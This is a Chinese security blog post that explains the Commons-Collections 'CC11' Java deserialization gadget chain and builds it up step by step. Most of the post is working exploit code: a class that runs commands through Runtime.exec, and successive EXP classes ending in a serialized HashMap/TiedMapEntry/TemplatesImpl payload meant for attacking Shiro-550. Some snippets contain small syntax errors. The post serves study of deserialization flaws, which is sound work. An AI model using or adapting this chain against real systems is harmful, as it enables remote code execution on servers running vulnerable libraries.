Java反序列化Commons-Collections篇09-CC11链
Drunkbaby Lv6

CC11链

Java 反序列化 Commons-Collections 篇 09-CC11 链

0x01 前言

原本 CC 链子从 1-7 学完就可以了,最近木爷的博客修好了,木爷在 Shiro-550 的文章里面提及了这一条链子,就顺便自己也学一学。

  • 同样,就看 yso 的链子,看一看自己可不可以完全成功地写出 EXP 来。

0x02 环境搭建

  • CommonsCollections 3.1-3.2.1
  • jdk 版本无限制,我这里用的是 jdk8u65 的

一些细致的环境搭建可以参考我 CC 链的第一篇文章。

Java反序列化Commons-Collections篇01-CC1链

0x03 CC11 链分析

写在分析前的一些话

木头师傅说是 CC2 + CC6 的结合体,也有 qax 的一篇文章说除了 CC1-7 的链子,剩下的链子都可以通过结合产生 CC-N,这里我也把 CC2 与 CC6 的流程图放上来。

TemplatesImpl 解析与利用

在这一条小链子当中,流程图可以绘制如下。

这里我们可以正向看,首先是 loadClass(),它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()。

对于 findClass() 方法

  • 根据名称或位置加载 .class 字节码,然后使用 defineClass,代码实例如下。
  • 通常由子类去实现
1
2
3
4
5
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}

// findClass 方法的源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class NetworkClassLoader extends ClassLoader {
String host;
int port;

public Class findClass(String name) {
byte[] b = loadClassData(name);
return defineClass(name, b, 0, b.length);
}

private byte[] loadClassData(String name) {
// load the class data from the connection
}
}
// 子类的实现方式
  • defineClass() 的作用是处理前面传入的字节码,将其处理成真正的 Java 类。

此时的 defineClass() 方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance() 的实例化。

现在我们的 defineClass() 方法的作用域为 protected,我们需要找到作用域为 public 的类,方便我们利用。照样 find usages

在 TemplatesImpl 类的 static class TransletClassLoader 中找到了我们能够运用的类。

这里的 defineClass() 方法没有标注作用域,默认为 defalut,也就是说自己的类里面可以调用,我们继续 find usages

因为作用域是 private,所以我们看一看谁调用了 defineTransletClasses() 方法

  • 这里还有一点需要注意的,_bytecodes 的值不能为 null,否则会抛出异常。

还是同一个类下的 getTransletInstance() 方法调用了 defineTransletClasses() 方法,并且这里有一个 newInstance() 实例化的过程,如果能走完这个函数那么就能动态执行代码,但是因为它是私有的,所以继续找。

  • 找到了一个 public 的方法,接下来我们开始利用。

1. 利用逻辑

在分析过程我们说到只要走过 getTransletInstance() 方法即可,因为这个方法内调用了 newInstance() 方法,用伪代码来表示的话如下。

1
2
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer(); // 因为是一层层调用的,我们需要后续赋值
  • 如果没有一堆限制条件,我们现在的这两行代码就可以进行命令执行了。这里的限制条件指的是类似于下图的这一些。

如果此处的 _name 为 null,则后续的代码都不执行,也到不了我们调用 newInstance() 实例化的地方。

并且这里我们需要让 _classs 的值为空,才能进入调用 newInstance()

这些便是限制条件

2. 分析限制条件并编写 EXP

  • 这里的 TemplatesImpl 是可以进行序列化的,所以这里我们使用反射修改其值。

先列举一些需要我们进行赋值的属性值,用反射修改属性值。赋值这里需要”对症下药”,也就是需要什么类型的值,我们就给什么类型。

_class 的值应当为 null,我们去看 TemplatesImpl 的构造方法中没有给 _class 赋初值,所以不用管它。

_name 的值,这里需要的是 String,所以我们简单赋个 String 即可。

  • _bytecodes 这里比较难,我们过一遍。

_bytecodes 的值,这里需要的是一个二维数组,所以我们创建一个二维数组。但是 _bytecodes 作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码。这一段伪代码可以这样写。

在写这段小 poc 之前,要先写一个 Calc.class 的恶意类并编译。

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;  

public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}

直接编写静态代码块就可以了,因为在类初始化的时候会自动执行代码。

1
2
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));  
byte[][] codes = {evil};
  • _tfactory 这里比较难,我们也过一遍,这两个过完之后,写其他的就没什么问题了。

_tfactory 的值在 TemplatesImpl 这一类中被定义如下,关键字是 transient,这就导致了这个变量在序列化之后无法被访问。

1
private transient TransformerFactoryImpl _tfactory = null;

直接修改是不行的,但是我们这里的利用要求比较低,只要让 _tfactory 不为 null 即可,我们去看一看 _tfactory 的其他定义如何。

在 readObject() 方法中,找到了 _tfactory 的初始化定义。

所以这里直接在反射中将其赋值为 TransformerFactortImpl 即可,伪代码如下。

1
2
3
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
  • 最终完整的 EXP 应该如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

// TemplatesImpl 的 EXP 编写
public class TemplatesImplEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}

解决报错,挖 0day 的必经之路!

  • 按照道理来说,上面的 EXP 已经挺完美的了,但是在运行的时候我不但没有弹出计算器,反而还报错了。

这里报错是由于空指针报错,我们去 TemplatesImpl 下打断点调试一下。

我是在 393 行 if (_bytecodes == null) 那里打断点的。调试之后发现问题出在这儿。

  • 418 行,判断在 defineClass() 方法中传进去的参数 b 数组的字节码是否继承了 ABSTRACT_TRANSLET 这个父类,如果没有则抛出异常,所以我们需要去恶意类中继承 ABSTRACT_TRANSLET 这个父类。

或者我们可以将 _auxClasse 赋值,使其不为 null。但是如果没有继承 ABSTRACT_TRANSLET 这个父类,会导致 _transletIndex 的值为 -1,在第 426 行的判断当中跳出程序。

修改完毕之后,我们的弹计算器就成功了。

前半段 CC6 链解析

后半段链子和 CC6 的链子是一样的,但我们还是来分析一遍。
尾部这里是 InvokerTransformer.transform(),所以我们从这里开始找起。

  • 去到 InvokerTransformer 下的 transform() 方法,发现确实存在命令执行的特性,我们去找一找谁调用了 transform() 方法。

发现是 LazyMap.get() 调用了 transform() 方法,参数是 factory,这个 factory 的变量我们到时候可以通过反射修改。

然后去找谁调用了 get() 方法,这里应该挺难找的,就直接跟着赛博鼠师傅的链子走,是 TiedMapEntry.getValue() 调用了 get() 方法

接着,在同个类里面找到了 hashCode() 方法调用了 getValue() 方法。这里 hashCode() 和 toString() 应该都是可以的,因为都是广泛的函数,最后跟着链子走,具体就不分析了。具体详见Java反序列化Commons-Collections篇03-CC6链

这其实就是 CC6 的链子,我看其他师傅的文章,因为 CC2 + CC6 组成的链子能够在 Transformer[] 被禁用的时候很好的进行代码执行。

0x04 逐步编写 EXP

  • 从后往前写,一步步验证一下自己写的是否正确。

尾部 TemplatesImpl 链

首先,编写一个恶意类,然后将其放到容易找到的地方。恶意类编写如下

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;  

public class Calc {}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
  • 我们 TemplatesImpl 的 Exp 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

// CC2 的后半段链子 Implpublic class TemplatesImplEXP {
public static void main(String[] args) throws Exception{
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}

成功弹出计算器

然后我们写 InvokerTransformer.transform() 执行 TemplatesImpl 的 EXP

因为最后一句语句 templates.newTransformer(); 是来命令执行的,先把其注释掉,逐步编写 EXP

2. 找链子

  • 根据 ysoSerial 官方的链子,是 TiedMapEntry 类中的 getValue() 方法调用了 LazyMap 的 get() 方法。

这里先重新写一遍 LazyMap 类调用计算器的 EXP,这种 EXP 是不嫌多的,多写一写能让自己更加熟练。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class LazyMapEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(lazyMap, chainedTransformer);

}
}

链子的下一步是,TiedMapEntry 类中的 getValue() 方法调用了 LazyMap 的 get() 方法。我们用 TiedMapEntry 写一个 EXP,确保这条链子是能用的。

  • 因为 TiedMapEntry 是作用域是 public,所以我们不需要反射获取它的方法,可以直接调用并修改。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class LazyMapEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
tiedMapEntry.getValue();
}
}
  • 成功弹出计算器

这里的逻辑还是很简单的,直接 new 一个 TiedMapEntry 对象,并调用它的 getValue() 方法即可,它的 getValue 方法会去调用 map.get(key) 方法。

现在我们确保了 TiedMapEntry 这一段链子的可用性,往上去找谁调用了 TiedMapEntry 中的 getValue() 方法。

  • 寻找的方法也略提一嘴,因为 getValue() 这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况。

寻找到同名函数下的 hashCode() 方法调用了 getValue() 方法。

如果我们在实战里面,在链子中找到了 hashCode() 方法,说明我们的构造已经可以“半场开香槟”了,

3. 与入口类结合的整条链子

  • 前文我们说到链子已经构造到 hashCode() 这里了,这一条 hashCode() 的链子该如何构造呢?

我们去找谁调用了 hashCode() 方法,这里我就直接把答案贴出来吧,因为在 Java 反序列化当中,找到 hashCode() 之后的链子用的基本都是这一条。

1
2
3
xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()

更巧的是,这里的 HashMap 类本身就是一个非常完美的入口类。

  • 如果要写一段从 HashMap.put() 开始,到 InvokerTransformer 结尾的弹计算器的 EXP,应当是这样的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class HashMapEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
}
}

这里在 42 行,也就是 HashMap<Object, Object> expMap = new HashMap<>(); 这里打断点,会发现直接 41 行就弹计算器了,不要着急,这里是一个 IDEA 的小坑,后续会讲。

OK 言归正传,在构造最终 EXP 之前我们分析一波 ~

  • HashMap 类的 put() 方法自动调用了 hashCode() 方法,我们尝试构造 EXP,结果中居然出现了一个很神奇的现象?!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11FinalEXP {
public static void main(String[] args) throws Exception{
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

我在打断点调试的时候发现当我序列化的时候,就能够弹出计算器,太奇怪了,其实这与 URLDNS 链中的情景其实是一模一样的。

4. 解决在序列化的时候就弹出计算器的问题

  • 参考 URLDNS 链中的思想,先在执行 put() 方法的时候,先不让其进行命令执行,在反序列化的时候再命令执行。

此处强烈建议师傅们去打断点好好理解一下!

我在打完断点后分析出来的原因是这样的:

与 URLDNS 中的不同,有些链子可以通过设置参数修改,有些则不行。在我们 CC6 的链子当中,通过修改这一句语句 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);,可以达到我们需要的效果。

我们之前传进去的参数是 chainedTransformer,我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回 chainedTransformer。相关的属性值在 LazyMap 当中为 factory

  • 修改如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

-----------------> 变成

Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five"));
lazyMap.remove("key");


在执行 put 方法之后通过反射修改 Transformer 的 factory 值

// 某伪代码块
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMapClass, chainedTransformer);

最终成功的 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11FinalEXP {
public static void main(String[] args) throws Exception{
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
// Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");

// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

5. 最终不带 Transformer 数组的 CC11 链子

前面我们说的链子,还是调用了 Transformer 数组的,但是真正的 CC11 链子是可以不带Transformer 数组的,这样,我们可以通过 CC11 来打 Shiro-550 的漏洞。

本质原因如下

这个 LazyMap#get 的参数 key,会被传进transform(),实际上它可以扮演 ConstantTransformer 的角色——一个简单的对象传递者。

我们 LazyMap.get(key) 直接调用 InvokerTransfomer.transform(key),然后像CC2那样调用 TempalteImpl.newTransformer() 来完成后续调用。

我们将原本的 Transformer 数组那一行修改如下

1
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

再将后面几行的代码修改如下

1
2
3
4
5
6
7
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

Map expMap = new HashMap();
expMap.put(tiedMapEntry, "valuevalue");
lazyMap.remove(templates);

得到的最终 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

// 改进版 CC11 EXPpublic class CC11BestEXP {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
// ChainedTransformer chainedTransformer = new ChainedTransformer(invokerTransformer);
HashMap<Object, Object> hashMap = new HashMap<>();
// Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove(templates);

// 在 put 之后通过反射修改值
setFieldValue(lazyMap, "factory", invokerTransformer);

serialize(expMap);
unserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

0x06 小结

作为 yso 官方当中并没有的链子,CC11 链同时也被叫做是 CC2 + CC6 链的结合体,我这里把它单独拉出来,主要是为了后续 Shiro 学习,以及很多其他反序列化的学习当中,可以将 CC11 链单独作为一个非常好用的链子来攻击。

cc11 好用的原因主要是 能够像 cc2 一样加载恶意字节码,同时受影响的版本还是 CommonsCollections 3.1-3.2.1 这个版本相对 CommonsCollections 4.0 范围应该会更广一些。

0x07 参考资料

http://wjlshare.com/archives/1536
https://johnfrod.top/%e5%ae%89%e5%85%a8/monscollections3%e5%88%a9%e7%94%a8%e9%93%be%e5%88%86%e6%9e%90/

 评论
.valine-container { #vcomments { .vwrap { border 0.1rem solid var(--text-color-4) .vheader { .vinput { color var(--text-color-3) border-color var(--text-color-4) &:focus { border-bottom 0.1rem dashed var(--primary-color) !important } } } .vedit { .veditor { color var(--text-color-3) } .vctrl { .vicon { fill var(--text-color-3) &.actived { fill var(--primary-color) } } } } button.vsubmit { color var(--text-color-3) !important background transparent !important border 0.1rem solid var(--text-color-3) !important &:hover { color var(--primary-color) !important border 0.1rem solid var(--primary-color) !important } } } .vcount { color var(--text-color-3) .vnum { color var(--text-color-2) } } .vcard { .vnick { .author { margin-left 0.15rem padding 0.15rem color #fff font-weight 450 font-size 0.9rem background -webkit-linear-gradient(45deg, #e3565e, #ee854b, #f6c258, #90c68a, #5fb3b3, #6699cc, #c594c5) background linear-gradient(45deg, #e3565e, #ee854b, #f6c258, #90c68a, #5fb3b3, #6699cc, #c594c5) border-radius 0.15rem } } .vhead { .vnick { color var(--primary-color) } .vsys { color var(--text-color-3) background var(--background-color-2) !important } } .vcontent { P { color var(--text-color-3) code { color var(--code-foreground) background var(--code-background) } } } .vh { border-bottom-color var(--border-color) } .vquote { border-left-color var(--border-color) } } .vcopy { color var(--text-color-4) } .vpage { .vmore { color var(--text-color-2) border 0.1rem solid var(--border-color) } } } }